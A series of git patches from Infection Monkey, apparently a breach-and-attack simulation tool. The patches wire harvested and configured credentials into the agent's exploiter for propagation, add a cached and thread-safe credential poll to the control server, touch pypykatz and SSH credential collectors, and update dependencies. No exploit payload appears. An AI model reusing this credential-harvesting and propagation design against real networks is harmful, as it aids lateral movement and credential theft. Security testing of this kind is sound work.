b/monkey/infection_monkey/credential_collectors/mimikatz_collector/pypykatz_handler.py @@ -24,6 +24,7 @@ PypykatzCredential = NewType("PypykatzCredential", Dict) def get_windows_creds() -> List[WindowsCredentials]: + # TODO: Remove this check when this is turned into a plugin. if not is_windows_os(): logger.debug("Skipping pypykatz because the operating system is not Windows") return [] diff --git a/monkey/infection_monkey/credential_collectors/ssh_collector/ssh_handler.py b/monkey/infection_monkey/credential_collectors/ssh_collector/ssh_handler.py index 89f3c34fc..ce3b17311 100644 --- a/monkey/infection_monkey/credential_collectors/ssh_collector/ssh_handler.py +++ b/monkey/infection_monkey/credential_collectors/ssh_collector/ssh_handler.py @@ -16,6 +16,7 @@ DEFAULT_DIRS = ["/.ssh/", "/"] def get_ssh_info(telemetry_messenger: ITelemetryMessenger) -> Iterable[Dict]: + # TODO: Remove this check when this is turned into a plugin. if is_windows_os(): logger.debug( "Skipping SSH credentials collection because the operating system is not Linux" From a234713e087c89aad08dc1b62078ee0da06f7839 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Thu, 17 Feb 2022 16:55:29 +0530 Subject: [PATCH 0448/1110] Common: Reword process list collection PBA constant --- monkey/common/common_consts/post_breach_consts.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/common/common_consts/post_breach_consts.py b/monkey/common/common_consts/post_breach_consts.py index 941565767..19b6c4f19 100644 --- a/monkey/common/common_consts/post_breach_consts.py +++ b/monkey/common/common_consts/post_breach_consts.py @@ -9,4 +9,4 @@ POST_BREACH_TIMESTOMPING = "Modify files' timestamps" POST_BREACH_SIGNED_SCRIPT_PROXY_EXEC = "Signed script proxy execution" POST_BREACH_ACCOUNT_DISCOVERY = "Account discovery" POST_BREACH_CLEAR_CMD_HISTORY = "Clear command history" -POST_BREACH_PROCESS_LIST_COLLECTION = "Process list collection" +POST_BREACH_PROCESS_LIST_COLLECTION = "Collect running processes" From f243e4a7225141d0d779b3530dc72d96c149d05e Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Thu, 17 Feb 2022 16:58:27 +0530 Subject: [PATCH 0449/1110] Agent: Drop testing changes made to mock puppet --- monkey/infection_monkey/puppet/mock_puppet.py | 3 --- 1 file changed, 3 deletions(-) diff --git a/monkey/infection_monkey/puppet/mock_puppet.py b/monkey/infection_monkey/puppet/mock_puppet.py index 904ece2e5..082ce523b 100644 --- a/monkey/infection_monkey/puppet/mock_puppet.py +++ b/monkey/infection_monkey/puppet/mock_puppet.py @@ -159,9 +159,6 @@ class MockPuppet(IPuppet): if name == "AccountDiscovery": return PostBreachData("pba command 1", ["pba result 1", True]) - elif name == "ProcessListCollection": - cmd, result = ProcessListCollection().run() - return PostBreachData(cmd, result) else: return PostBreachData("pba command 2", ["pba result 2", False]) From 83f544c9f26dd7e186597fabfa5d120e8336ec71 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Thu, 17 Feb 2022 16:58:41 +0530 Subject: [PATCH 0450/1110] Island: Rename mongo query variable in T1082.py --- .../cc/services/attack/technique_reports/T1082.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1082.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1082.py index 1fa81f4ed..4c79916ef 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1082.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1082.py @@ -56,7 +56,7 @@ class T1082(AttackTechnique): {"$replaceRoot": {"newRoot": "$_id"}}, ] - query_for_pbas = [ + query_for_running_processes_list = [ { "$match": { "$and": [ @@ -93,7 +93,7 @@ class T1082(AttackTechnique): ScanStatus.USED.value if system_info_data else ScanStatus.UNSCANNED.value ) - pba_data = list(mongo.db.telemetry.aggregate(T1082.query_for_pbas)) + pba_data = list(mongo.db.telemetry.aggregate(T1082.query_for_running_processes_list)) successful_PBAs = mongo.db.telemetry.count( { "$and": [ From 44b894749729ca5ed8cba2d4b37637f50e226438 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Thu, 17 Feb 2022 17:01:05 +0530 Subject: [PATCH 0451/1110] Docs: Remove adding-system-info-collectors.md --- docs/content/development/adding-exploits.md | 2 +- .../adding-system-info-collectors.md | 101 ------------------ 2 files changed, 1 insertion(+), 102 deletions(-) delete mode 100644 docs/content/development/adding-system-info-collectors.md diff --git a/docs/content/development/adding-exploits.md b/docs/content/development/adding-exploits.md index 1f4698820..468d17055 100644 --- a/docs/content/development/adding-exploits.md +++ b/docs/content/development/adding-exploits.md @@ -14,7 +14,7 @@ An exploit is a sequence of commands that takes advantage of a security vulnerab ### Do I need a new Exploit? -If all you want to do is execute a shell command, configure the required commands in the Monkey Island's post-breach action (PBA) configuration section or [add a new PBA](../adding-post-breach-actions/). If you would like the Infection Monkey agent to collect specific information, [add a new System Info Collector](../adding-system-info-collectors/). +If all you want to do is execute a shell command, configure the required commands in the Monkey Island's post-breach action (PBA) configuration section or [add a new PBA](../adding-post-breach-actions/). However, if you have your eye on an interesting CVE that you would like the Infection Monkey to support, you must add a new exploit. Keep reading to learn how to add a new exploit. diff --git a/docs/content/development/adding-system-info-collectors.md b/docs/content/development/adding-system-info-collectors.md deleted file mode 100644 index 353bd6c0d..000000000 --- a/docs/content/development/adding-system-info-collectors.md +++ /dev/null @@ -1,101 +0,0 @@ ---- -title: "Adding System Info Collectors" -date: 2020-06-09T11:03:42+03:00 -draft: false -tags: ["contribute"] -weight: 80 ---- - -## What does this guide cover? - -This guide will show you how to create a new _System Info Collector_ for the Infection Monkey. System Info Collectors are modules that each of the Infection Monkey agents runs that collect specific information and send it back to the Monkey Island as part of the System Info Telemetry. - -### Do I need a new System Info Collector? - -If all you want to do is execute a shell command, then there's no need to add a new System Info Collector - just configure the required commands in the Monkey Island's post-breach action (PBA) section! Also, if there is a relevant System Info Collector and you only need to add more information to it, simply expand the existing one. Otherwise, you must add a new System Info Collector. - -## How to add a new System Info Collector - -### Modify the Infection Monkey Agent - -#### Framework - -1. Create your new System Info Collector in the following directory: `monkey/infection_monkey/system_info/collectors` by first creating a new file with the name of your System Info Collector. -2. In that file, create a class that inherits from the `SystemInfoCollector` class: - -```py -from infection_monkey.system_info.system_info_collector import SystemInfoCollector - -class MyNewCollector(SystemInfoCollector): -``` - -3. Set the System Info Collector name in the constructor, like so: - -```py -class MyNewCollector(SystemInfoCollector): - def __init__(self): - super(MyNewCollector, self).__init__(name="MyNewCollector") -``` - -#### Implementation - -Override the `collect` method with your own implementation. See the `aws_collector.py` System Info Collector for reference. You can log during collection as well. - -### Modify the Monkey Island - -#### Configuration - -##### Definitions - -You'll need to add your Sytem Info Collector to the `monkey_island/cc/services/config_schema.py` file, under `definitions/system_info_collectors_classes/anyOf`, like so: - -```json -"system_info_collectors_classes": { - "title": "System Information Collectors", - "type": "string", - "anyOf": [ - { - "type": "string", - "enum": [ - "HostnameCollector" - ], - "title": "Which environment this machine is on (on prem/cloud)", - "attack_techniques": [] - }, - { <================================= - "type": "string", <================================= - "enum": [ <================================= - "MyNewCollector" <================================= - ], <================================= - "title": "My new title", <================================= - "attack_techniques": [] <================================= - }, - ], -}, -``` - -##### properties - -Also, you can add the System Info Collector to be used by default by adding it to the `default` key under `properties/monkey/system_info/system_info_collectors_classes`: - -```json -"system_info_collectors_classes": { - "title": "System info collectors", - "type": "array", - "uniqueItems": True, - "items": { - "$ref": "#/definitions/system_info_collectors_classes" - }, - "default": [ - "HostnameCollector", - "MyNewCollector" <================================= - ], - "description": "Determines which system information collectors will collect information." -}, -``` - -#### Telemetry processing - -1. Add a process function under `monkey_island/cc/telemetry/processing/system_info_collectors/{DATA_NAME_HERE}.py`. The function should parse the System Info Collector's result. See `processing/system_info_collectors/aws.py` for example. - -2. Add that function to `SYSTEM_INFO_COLLECTOR_TO_TELEMETRY_PROCESSORS` under `monkey_island/cc/services/telemetry/processing/system_info_collectors/system_info_telemetry_dispatcher.py`. From 7551f254fc7df05e484c249d0b5a4817a2a2d895 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 17 Feb 2022 12:36:17 -0500 Subject: [PATCH 0452/1110] Agent: Query for updated credentials in Exploiter Allows exploiters to be run with the most up-to-date configured and stolen credentials from the Island. --- .../master/automated_master.py | 4 ++- monkey/infection_monkey/master/exploiter.py | 25 ++++++++++++++++--- .../master/test_automated_master.py | 2 +- .../infection_monkey/master/test_exploiter.py | 25 +++++++++++++++++-- 4 files changed, 49 insertions(+), 7 deletions(-) diff --git a/monkey/infection_monkey/master/automated_master.py b/monkey/infection_monkey/master/automated_master.py index 9fbb5f200..d78d5aafe 100644 --- a/monkey/infection_monkey/master/automated_master.py +++ b/monkey/infection_monkey/master/automated_master.py @@ -41,7 +41,9 @@ class AutomatedMaster(IMaster): self._control_channel = control_channel ip_scanner = IPScanner(self._puppet, NUM_SCAN_THREADS) - exploiter = Exploiter(self._puppet, NUM_EXPLOIT_THREADS) + exploiter = Exploiter( + self._puppet, NUM_EXPLOIT_THREADS, self._control_channel.get_credentials_for_propagation + ) self._propagator = Propagator( self._telemetry_messenger, ip_scanner, diff --git a/monkey/infection_monkey/master/exploiter.py b/monkey/infection_monkey/master/exploiter.py index 09f6ebf4b..9d5fe4f00 100644 --- a/monkey/infection_monkey/master/exploiter.py +++ b/monkey/infection_monkey/master/exploiter.py @@ -3,7 +3,7 @@ import queue import threading from queue import Queue from threading import Event -from typing import Callable, Dict, List +from typing import Callable, Dict, List, Mapping from infection_monkey.i_puppet import ExploiterResultData, IPuppet from infection_monkey.model import VictimHost @@ -18,9 +18,15 @@ Callback = Callable[[ExploiterName, VictimHost, ExploiterResultData], None] class Exploiter: - def __init__(self, puppet: IPuppet, num_workers: int): + def __init__( + self, + puppet: IPuppet, + num_workers: int, + get_updated_credentials_for_propagation: Callable[[], Mapping], + ): self._puppet = puppet self._num_workers = num_workers + self._get_updated_credentials_for_propagation = get_updated_credentials_for_propagation def exploit_hosts( self, @@ -74,6 +80,7 @@ class Exploiter: results_callback: Callback, stop: Event, ): + for exploiter in interruptable_iter(exploiters_to_run, stop): exploiter_name = exploiter["name"] exploiter_results = self._run_exploiter(exploiter_name, victim_host, stop) @@ -86,7 +93,19 @@ class Exploiter: self, exploiter_name: str, victim_host: VictimHost, stop: Event ) -> ExploiterResultData: logger.debug(f"Attempting to use {exploiter_name} on {victim_host}") - return self._puppet.exploit_host(exploiter_name, victim_host.ip_addr, {}, stop) + + credentials = self._get_credentials_for_propagation() + options = {"credentials": credentials} + + return self._puppet.exploit_host(exploiter_name, victim_host.ip_addr, options, stop) + + def _get_credentials_for_propagation(self) -> Mapping: + try: + return self._get_updated_credentials_for_propagation() + except Exception as ex: + logger.error(f"Error while attempting to retrieve credentials for propagation: {ex}") + + return {} def _all_hosts_have_been_processed(scan_completed: Event, hosts_to_exploit: Queue): diff --git a/monkey/tests/unit_tests/infection_monkey/master/test_automated_master.py b/monkey/tests/unit_tests/infection_monkey/master/test_automated_master.py index d08a4465a..c7023e525 100644 --- a/monkey/tests/unit_tests/infection_monkey/master/test_automated_master.py +++ b/monkey/tests/unit_tests/infection_monkey/master/test_automated_master.py @@ -14,7 +14,7 @@ INTERVAL = 0.001 def test_terminate_without_start(): - m = AutomatedMaster(None, None, None, None, []) + m = AutomatedMaster(None, None, None, MagicMock(), []) # Test that call to terminate does not raise exception m.terminate() diff --git a/monkey/tests/unit_tests/infection_monkey/master/test_exploiter.py b/monkey/tests/unit_tests/infection_monkey/master/test_exploiter.py index 5b9297fe6..b2c42f1ec 100644 --- a/monkey/tests/unit_tests/infection_monkey/master/test_exploiter.py +++ b/monkey/tests/unit_tests/infection_monkey/master/test_exploiter.py @@ -59,11 +59,18 @@ def hosts_to_exploit(hosts): return q +CREDENTIALS_FOR_PROPAGATION = {"usernames": ["m0nk3y", "user"], "passwords": ["1234", "pword"]} + + +def get_credentials_for_propagation(): + return CREDENTIALS_FOR_PROPAGATION + + def test_exploiter(exploiter_config, callback, scan_completed, stop, hosts, hosts_to_exploit): # Set this so that Exploiter() exits once it has processed all victims scan_completed.set() - e = Exploiter(MockPuppet(), 2) + e = Exploiter(MockPuppet(), 2, get_credentials_for_propagation) e.exploit_hosts(exploiter_config, hosts_to_exploit, callback, scan_completed, stop) assert callback.call_count == 5 @@ -81,6 +88,20 @@ def test_exploiter(exploiter_config, callback, scan_completed, stop, hosts, host assert ("SSHExploiter", hosts[1]) in host_exploit_combos +def test_credentials_passed_to_exploiter( + exploiter_config, callback, scan_completed, stop, hosts, hosts_to_exploit +): + mock_puppet = MagicMock() + # Set this so that Exploiter() exits once it has processed all victims + scan_completed.set() + + e = Exploiter(mock_puppet, 2, get_credentials_for_propagation) + e.exploit_hosts(exploiter_config, hosts_to_exploit, callback, scan_completed, stop) + + for call_args in mock_puppet.exploit_host.call_args_list: + assert call_args[0][2].get("credentials") == CREDENTIALS_FOR_PROPAGATION + + def test_stop_after_callback(exploiter_config, callback, scan_completed, stop, hosts_to_exploit): callback_barrier_count = 2 @@ -96,7 +117,7 @@ def test_stop_after_callback(exploiter_config, callback, scan_completed, stop, h # Intentionally NOT setting scan_completed.set(); _callback() will set stop - e = Exploiter(MockPuppet(), callback_barrier_count + 2) + e = Exploiter(MockPuppet(), callback_barrier_count + 2, get_credentials_for_propagation) e.exploit_hosts(exploiter_config, hosts_to_exploit, stoppable_callback, scan_completed, stop) assert stoppable_callback.call_count == 2 From 2305a9d413b10ecac0626cc6c822f2e33e3062b7 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 17 Feb 2022 12:41:27 -0500 Subject: [PATCH 0453/1110] UT: Add fixture to test_exploiter to remove code duplication --- .../infection_monkey/master/test_exploiter.py | 28 ++++++++++--------- 1 file changed, 15 insertions(+), 13 deletions(-) diff --git a/monkey/tests/unit_tests/infection_monkey/master/test_exploiter.py b/monkey/tests/unit_tests/infection_monkey/master/test_exploiter.py index b2c42f1ec..26067ab22 100644 --- a/monkey/tests/unit_tests/infection_monkey/master/test_exploiter.py +++ b/monkey/tests/unit_tests/infection_monkey/master/test_exploiter.py @@ -66,12 +66,20 @@ def get_credentials_for_propagation(): return CREDENTIALS_FOR_PROPAGATION -def test_exploiter(exploiter_config, callback, scan_completed, stop, hosts, hosts_to_exploit): - # Set this so that Exploiter() exits once it has processed all victims - scan_completed.set() +@pytest.fixture +def run_exploiters(exploiter_config, hosts_to_exploit, callback, scan_completed, stop): + def inner(puppet, num_workers): + # Set this so that Exploiter() exits once it has processed all victims + scan_completed.set() - e = Exploiter(MockPuppet(), 2, get_credentials_for_propagation) - e.exploit_hosts(exploiter_config, hosts_to_exploit, callback, scan_completed, stop) + e = Exploiter(puppet, num_workers, get_credentials_for_propagation) + e.exploit_hosts(exploiter_config, hosts_to_exploit, callback, scan_completed, stop) + + return inner + + +def test_exploiter(callback, hosts, hosts_to_exploit, run_exploiters): + run_exploiters(MockPuppet(), 2) assert callback.call_count == 5 host_exploit_combos = set() @@ -88,15 +96,9 @@ def test_exploiter(exploiter_config, callback, scan_completed, stop, hosts, host assert ("SSHExploiter", hosts[1]) in host_exploit_combos -def test_credentials_passed_to_exploiter( - exploiter_config, callback, scan_completed, stop, hosts, hosts_to_exploit -): +def test_credentials_passed_to_exploiter(run_exploiters): mock_puppet = MagicMock() - # Set this so that Exploiter() exits once it has processed all victims - scan_completed.set() - - e = Exploiter(mock_puppet, 2, get_credentials_for_propagation) - e.exploit_hosts(exploiter_config, hosts_to_exploit, callback, scan_completed, stop) + run_exploiters(mock_puppet, 1) for call_args in mock_puppet.exploit_host.call_args_list: assert call_args[0][2].get("credentials") == CREDENTIALS_FOR_PROPAGATION From c3e9690280df25a916a89f0b744dd5fc431bec14 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 17 Feb 2022 14:25:03 -0500 Subject: [PATCH 0454/1110] Agent: Add request_cache decorator --- monkey/infection_monkey/utils/decorators.py | 43 ++++++++++ .../infection_monkey/utils/test_decorators.py | 78 +++++++++++++++++++ 2 files changed, 121 insertions(+) create mode 100644 monkey/infection_monkey/utils/decorators.py create mode 100644 monkey/tests/unit_tests/infection_monkey/utils/test_decorators.py diff --git a/monkey/infection_monkey/utils/decorators.py b/monkey/infection_monkey/utils/decorators.py new file mode 100644 index 000000000..7a93a7c7a --- /dev/null +++ b/monkey/infection_monkey/utils/decorators.py @@ -0,0 +1,43 @@ +from functools import wraps + +from .timer import Timer + + +def request_cache(ttl: float): + """ + This is a decorator that allows a single response of a function to be cached with an expiration + time (TTL). The first call to the function is executed and the response is cached. Subsequent + calls to the function result in the cached value being returned until the TTL elapses. Once the + TTL elapses, the cache is considered stale and the decorated function will be called, its + response cached, and the TTL reset. + + An example usage of this decorator is to wrap a function that makes frequent slow calls to an + external resource, such as an HTTP request to a remote endpoint. If the most up-to-date + information is not need, this decorator provides a simple way to cache the response for a + certain amount of time. + + Example: + @request_cache(600) + def raining_outside(): + return requests.get(f"https://weather.service.api/check_for_rain/{MY_ZIP_CODE}") + + :param ttl: The time-to-live in seconds for the cached return value + :return: The return value of the decorated function, or the cached return value if the TTL has + not elapsed. + """ + + def decorator(fn): + @wraps(fn) + def wrapper(*args, **kwargs): + if wrapper.timer.is_expired(): + wrapper.cached_value = fn(*args, **kwargs) + wrapper.timer.set(ttl) + + return wrapper.cached_value + + wrapper.cached_value = None + wrapper.timer = Timer() + + return wrapper + + return decorator diff --git a/monkey/tests/unit_tests/infection_monkey/utils/test_decorators.py b/monkey/tests/unit_tests/infection_monkey/utils/test_decorators.py new file mode 100644 index 000000000..30af5837a --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/utils/test_decorators.py @@ -0,0 +1,78 @@ +import time +from unittest.mock import MagicMock + +import pytest + +from infection_monkey.utils.decorators import request_cache +from infection_monkey.utils.timer import Timer + + +class MockTimer(Timer): + def __init__(self): + self._time_remaining = 0 + self._set_time = 0 + + def set(self, timeout_sec: float): + self._time_remaining = timeout_sec + self._set_time = timeout_sec + + def set_expired(self): + self._time_remaining = 0 + + @property + def time_remaining(self) -> float: + return self._time_remaining + + def reset(self): + """ + Reset the timer without changing the timeout + """ + self._time_remaining = self._set_time + + +class MockTimerFactory: + def __init__(self): + self._instance = None + + def __call__(self): + if self._instance is None: + mt = MockTimer() + self._instance = mt + + return self._instance + + def reset(self): + self._instance = None + + +mock_timer_factory = MockTimerFactory() + + +@pytest.fixture +def mock_timer(monkeypatch): + mock_timer_factory.reset + + monkeypatch.setattr("infection_monkey.utils.decorators.Timer", mock_timer_factory) + + return mock_timer_factory() + + +def test_request_cache(mock_timer): + mock_request = MagicMock(side_effect=lambda: time.time()) + + @request_cache(10) + def make_request(): + return mock_request() + + t1 = make_request() + t2 = make_request() + + assert t1 == t2 + + mock_timer.set_expired() + + t3 = make_request() + t4 = make_request() + + assert t3 != t1 + assert t3 == t4 From 4005ea2924e2c254941ad062485488e3f08fb9f1 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 17 Feb 2022 14:29:07 -0500 Subject: [PATCH 0455/1110] Agent: Add caching to ControlChannel.get_credentials_for_propagation() --- monkey/infection_monkey/master/control_channel.py | 12 +++++++++--- 1 file changed, 9 insertions(+), 3 deletions(-) diff --git a/monkey/infection_monkey/master/control_channel.py b/monkey/infection_monkey/master/control_channel.py index 52b565d55..d6781af7f 100644 --- a/monkey/infection_monkey/master/control_channel.py +++ b/monkey/infection_monkey/master/control_channel.py @@ -7,11 +7,14 @@ from common.common_consts.timeouts import SHORT_REQUEST_TIMEOUT from infection_monkey.config import WormConfiguration from infection_monkey.control import ControlClient from infection_monkey.i_control_channel import IControlChannel, IslandCommunicationError +from infection_monkey.utils.decorators import request_cache requests.packages.urllib3.disable_warnings() logger = logging.getLogger(__name__) +CREDENTIALS_POLL_PERIOD_SEC = 30 + class ControlChannel(IControlChannel): def __init__(self, server: str, agent_id: str): @@ -66,18 +69,21 @@ class ControlChannel(IControlChannel): ) as e: raise IslandCommunicationError(e) + @request_cache(CREDENTIALS_POLL_PERIOD_SEC) def get_credentials_for_propagation(self) -> dict: + propagation_credentials_url = ( + f"https://{self._control_channel_server}/api/propagation-credentials/{self._agent_id}" + ) try: response = requests.get( # noqa: DUO123 - f"{self._control_channel_server}/api/propagation-credentials/{self._agent_id}", + propagation_credentials_url, verify=False, proxies=ControlClient.proxies, timeout=SHORT_REQUEST_TIMEOUT, ) response.raise_for_status() - response = json.loads(response.content.decode())["propagation_credentials"] - return response + return json.loads(response.content.decode())["propagation_credentials"] except ( json.JSONDecodeError, requests.exceptions.ConnectionError, From e2d116fdf1fc703fab5491da3c9661489778b769 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 17 Feb 2022 14:40:07 -0500 Subject: [PATCH 0456/1110] Agent: Make request_cache() decorator thread-safe --- monkey/infection_monkey/utils/decorators.py | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) diff --git a/monkey/infection_monkey/utils/decorators.py b/monkey/infection_monkey/utils/decorators.py index 7a93a7c7a..31ac0661b 100644 --- a/monkey/infection_monkey/utils/decorators.py +++ b/monkey/infection_monkey/utils/decorators.py @@ -1,3 +1,4 @@ +import threading from functools import wraps from .timer import Timer @@ -29,14 +30,16 @@ def request_cache(ttl: float): def decorator(fn): @wraps(fn) def wrapper(*args, **kwargs): - if wrapper.timer.is_expired(): - wrapper.cached_value = fn(*args, **kwargs) - wrapper.timer.set(ttl) + with wrapper.lock: + if wrapper.timer.is_expired(): + wrapper.cached_value = fn(*args, **kwargs) + wrapper.timer.set(ttl) return wrapper.cached_value wrapper.cached_value = None wrapper.timer = Timer() + wrapper.lock = threading.Lock() return wrapper From c66671821c78a7e54daa7d0f6fe0782de85c3cda Mon Sep 17 00:00:00 2001 From: vakarisz Date: Fri, 18 Feb 2022 10:04:25 +0200 Subject: [PATCH 0457/1110] Agent: update pypykatz version to 0.5.2 Update contains fixes for latest windows versions --- monkey/infection_monkey/Pipfile | 2 +- monkey/infection_monkey/Pipfile.lock | 201 ++++++++++++--------------- 2 files changed, 91 insertions(+), 112 deletions(-) diff --git a/monkey/infection_monkey/Pipfile b/monkey/infection_monkey/Pipfile index 73841732d..fecddef77 100644 --- a/monkey/infection_monkey/Pipfile +++ b/monkey/infection_monkey/Pipfile @@ -13,7 +13,7 @@ odict = "==1.7.0" paramiko = ">=2.7.1" psutil = ">=5.7.0" pymssql = "==2.1.5" -pypykatz = "==0.3.12" +pypykatz = "==0.5.2" requests = ">=2.24" urllib3 = "==1.26.5" WMI = {version = "==1.5.1", sys_platform = "== 'win32'"} diff --git a/monkey/infection_monkey/Pipfile.lock b/monkey/infection_monkey/Pipfile.lock index a1621a541..62d45798d 100644 --- a/monkey/infection_monkey/Pipfile.lock +++ b/monkey/infection_monkey/Pipfile.lock @@ -1,7 +1,7 @@ { "_meta": { "hash": { - "sha256": "bb90b6c44807e84c604bdcf613e9fe3ef0f8501326f12b27988b3a255e545ab5" + "sha256": "a2c26a1bfe2edad7afb871930c32e2d91aae8353323f1042b172732d1f32564c" }, "pipfile-spec": 6, "requires": { @@ -16,6 +16,14 @@ ] }, "default": { + "aiosmb": { + "hashes": [ + "sha256:0f35e25b344644962ed7f4b3236ae9980411ebc25e1cc6e1d707bcede3866a65", + "sha256:e12e17bd452f304fd2253632cee53c122e8908f8143661bd4877656891376b87" + ], + "markers": "python_version >= '3.7'", + "version": "==0.2.50" + }, "aiowinreg": { "hashes": [ "sha256:6cd7f64ef002a7c6d7c27310db578fbc8992eeaca0936ebc56283d70c54573f2", @@ -149,11 +157,11 @@ }, "charset-normalizer": { "hashes": [ - "sha256:2842d8f5e82a1f6aa437380934d5e1cd4fcf2003b06fed6940769c164a480a45", - "sha256:98398a9d69ee80548c762ba991a4728bfc3836768ed226b3945908d1a688371c" + "sha256:2857e29ff0d34db842cd7ca3230549d1a697f96ee6d3fb071cfa6c7393832597", + "sha256:6881edbebdb17b39b4eaaa821b438bf6eddffb4468cf344f09f89def34a8b1df" ], "markers": "python_version >= '3'", - "version": "==2.0.11" + "version": "==2.0.12" }, "click": { "hashes": [ @@ -168,7 +176,7 @@ "sha256:5941b2b48a20143d2267e95b1c2a7603ce057ee39fd88e7329b0c292aa16869b", "sha256:9f47eda37229f68eee03b24b9748937c7dc3868f906e8ba69fbcbdd3bc5dc3e2" ], - "markers": "platform_system == 'Windows'", + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4'", "version": "==0.4.4" }, "constantly": { @@ -213,11 +221,11 @@ }, "flask": { "hashes": [ - "sha256:7b2fb8e934ddd50731893bdcdb00fc8c0315916f9fcd50d22c7cc1a95ab634e2", - "sha256:cb90f62f1d8e4dc4621f52106613488b5ba826b2e1e10a33eac92f723093ab6a" + "sha256:59da8a3170004800a2837844bfa84d49b022550616070f7cb1a659682b2e7c9f", + "sha256:e1120c228ca2f553b470df4a5fa927ab66258467526069981b3eb0a91902687d" ], "markers": "python_version >= '3.6'", - "version": "==2.0.2" + "version": "==2.0.3" }, "future": { "hashes": [ @@ -250,11 +258,11 @@ }, "importlib-metadata": { "hashes": [ - "sha256:6affcdb3aec542dd98df8211e730bba6c5f2bec8288d47bacacde898f548c9ad", - "sha256:9e5e553bbba1843cb4a00823014b907616be46ee503d2b9ba001d214a8da218f" + "sha256:175f4ee440a0317f6e8d81b7f8d4869f93316170a65ad2b007d2929186c8052c", + "sha256:e0bc84ff355328a4adfc5240c4f211e0ab386f80aa640d1b11f0618a1d282094" ], "markers": "python_version < '3.8'", - "version": "==4.11.0" + "version": "==4.11.1" }, "incremental": { "hashes": [ @@ -273,11 +281,11 @@ }, "itsdangerous": { "hashes": [ - "sha256:5174094b9637652bdb841a3029700391451bd092ba3db90600dea710ba28e97c", - "sha256:9e724d68fc22902a1435351f84c3fb8623f303fffcc566a4cb952df8c572cff0" + "sha256:29285842166554469a56d427addc0843914172343784cb909695fdbe90a3e129", + "sha256:d848fcb8bc7d507c4546b448574e8a44fc4ea2ba84ebf8d783290d53e81992f5" ], - "markers": "python_version >= '3.6'", - "version": "==2.0.1" + "markers": "python_version >= '3.7'", + "version": "==2.1.0" }, "jinja2": { "hashes": [ @@ -315,78 +323,49 @@ }, "markupsafe": { "hashes": [ - "sha256:01a9b8ea66f1658938f65b93a85ebe8bc016e6769611be228d797c9d998dd298", - "sha256:023cb26ec21ece8dc3907c0e8320058b2e0cb3c55cf9564da612bc325bed5e64", - "sha256:0446679737af14f45767963a1a9ef7620189912317d095f2d9ffa183a4d25d2b", - "sha256:04635854b943835a6ea959e948d19dcd311762c5c0c6e1f0e16ee57022669194", - "sha256:0717a7390a68be14b8c793ba258e075c6f4ca819f15edfc2a3a027c823718567", - "sha256:0955295dd5eec6cb6cc2fe1698f4c6d84af2e92de33fbcac4111913cd100a6ff", - "sha256:0d4b31cc67ab36e3392bbf3862cfbadac3db12bdd8b02a2731f509ed5b829724", - "sha256:10f82115e21dc0dfec9ab5c0223652f7197feb168c940f3ef61563fc2d6beb74", - "sha256:168cd0a3642de83558a5153c8bd34f175a9a6e7f6dc6384b9655d2697312a646", - "sha256:1d609f577dc6e1aa17d746f8bd3c31aa4d258f4070d61b2aa5c4166c1539de35", - "sha256:1f2ade76b9903f39aa442b4aadd2177decb66525062db244b35d71d0ee8599b6", - "sha256:20dca64a3ef2d6e4d5d615a3fd418ad3bde77a47ec8a23d984a12b5b4c74491a", - "sha256:2a7d351cbd8cfeb19ca00de495e224dea7e7d919659c2841bbb7f420ad03e2d6", - "sha256:2d7d807855b419fc2ed3e631034685db6079889a1f01d5d9dac950f764da3dad", - "sha256:2ef54abee730b502252bcdf31b10dacb0a416229b72c18b19e24a4509f273d26", - "sha256:36bc903cbb393720fad60fc28c10de6acf10dc6cc883f3e24ee4012371399a38", - "sha256:37205cac2a79194e3750b0af2a5720d95f786a55ce7df90c3af697bfa100eaac", - "sha256:3c112550557578c26af18a1ccc9e090bfe03832ae994343cfdacd287db6a6ae7", - "sha256:3dd007d54ee88b46be476e293f48c85048603f5f516008bee124ddd891398ed6", - "sha256:4296f2b1ce8c86a6aea78613c34bb1a672ea0e3de9c6ba08a960efe0b0a09047", - "sha256:47ab1e7b91c098ab893b828deafa1203de86d0bc6ab587b160f78fe6c4011f75", - "sha256:49e3ceeabbfb9d66c3aef5af3a60cc43b85c33df25ce03d0031a608b0a8b2e3f", - "sha256:4dc8f9fb58f7364b63fd9f85013b780ef83c11857ae79f2feda41e270468dd9b", - "sha256:4efca8f86c54b22348a5467704e3fec767b2db12fc39c6d963168ab1d3fc9135", - "sha256:53edb4da6925ad13c07b6d26c2a852bd81e364f95301c66e930ab2aef5b5ddd8", - "sha256:5855f8438a7d1d458206a2466bf82b0f104a3724bf96a1c781ab731e4201731a", - "sha256:594c67807fb16238b30c44bdf74f36c02cdf22d1c8cda91ef8a0ed8dabf5620a", - "sha256:5b6d930f030f8ed98e3e6c98ffa0652bdb82601e7a016ec2ab5d7ff23baa78d1", - "sha256:5bb28c636d87e840583ee3adeb78172efc47c8b26127267f54a9c0ec251d41a9", - "sha256:60bf42e36abfaf9aff1f50f52644b336d4f0a3fd6d8a60ca0d054ac9f713a864", - "sha256:611d1ad9a4288cf3e3c16014564df047fe08410e628f89805e475368bd304914", - "sha256:6300b8454aa6930a24b9618fbb54b5a68135092bc666f7b06901f897fa5c2fee", - "sha256:63f3268ba69ace99cab4e3e3b5840b03340efed0948ab8f78d2fd87ee5442a4f", - "sha256:6557b31b5e2c9ddf0de32a691f2312a32f77cd7681d8af66c2692efdbef84c18", - "sha256:693ce3f9e70a6cf7d2fb9e6c9d8b204b6b39897a2c4a1aa65728d5ac97dcc1d8", - 